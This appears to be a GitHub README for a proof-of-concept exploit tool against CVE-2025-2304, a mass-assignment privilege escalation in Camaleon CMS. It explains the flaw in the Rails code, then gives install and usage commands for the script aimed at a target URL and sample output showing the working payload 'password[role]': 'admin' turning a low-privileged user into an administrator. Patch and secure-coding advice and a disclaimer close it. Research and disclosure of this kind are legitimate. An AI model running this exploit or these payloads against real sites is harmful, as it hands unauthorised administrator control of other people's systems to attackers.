
Proof-of-concept for CVE-2025-2304 — critical (CVSS 9.4) mass-assignment privilege escalation in Camaleon CMS.
A Proof of Concept (PoC) exploit for CVE-2025-2304, a critical mass assignment vulnerability in Camaleon CMS that allows privilege escalation from low-privileged users to administrators.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 is a critical mass assignment vulnerability in Camaleon CMS that exists in the updated_ajax method of the UsersController. The vulnerability stems from the use of the dangerous permit! method in Rails, which allows all parameters to pass through without any filtering.
This PoC demonstrates how an authenticated user with low privileges can escalate to administrator role by injecting unauthorized parameters during password change operations.
CVSS Score: 9.4 (Critical)
The vulnerable code uses params.require(:user).permit! which accepts all user-supplied parameters without validation:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
An attacker can inject additional parameters like user[role]=admin alongside legitimate password change fields, causing the application to update the user's role to administrator.
Attack Vector:
/admin/users/{id}/updated_ajaxuser[role]=admin parameter--no-password-field flag for safest testinggit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
Or install manually:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target Target URL (e.g., http://target.com)
required arguments:
-u, --username Existing username for authentication
-p, --password User password
optional arguments:
-h, --help Show help message and exit
-v, --verbose Verbose output (show all requests)
--proxy PROXY HTTP proxy for traffic inspection (e.g., http://127.0.0.1:8080)
--no-password-field Test exploitation without password fields (safest)
--skip-admin-test Skip destructive admin password reset test
Test with existing user credentials while preserving the password:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Test without including password fields in the exploit payload:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Route traffic through Burp Suite for manual inspection:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Enable detailed output showing all requests and responses:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Test privilege escalation only, skip admin password reset:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| Version | Status |
|---|---|
| < 2.9.1 | ❌ Vulnerable |
| ≥ 2.9.1 | ✅ Patched |
Specifically vulnerable:
Upgrade to version 2.9.1 or later
gem update camaleon_cms
Audit User Accounts
/users/*/updated_ajaxForce Password Resets (if compromised)
Secure Code Pattern:
Replace dangerous permit! with explicit whitelisting:
# Before (VULNERABLE)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# After (SECURE)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
Additional Security Measures:
This tool is provided for educational and authorized security testing purposes only.
Legal Notice:
Ethical Use:
d3vn0mi
This project is licensed under the MIT License - see the LICENSE file for details.
Contributions, issues, and feature requests are welcome!
Feel free to check the issues page.
Give a ⭐️ if this project helped you!
Note: This repository is for security research and educational purposes. Always practice responsible disclosure and obtain proper authorization before testing.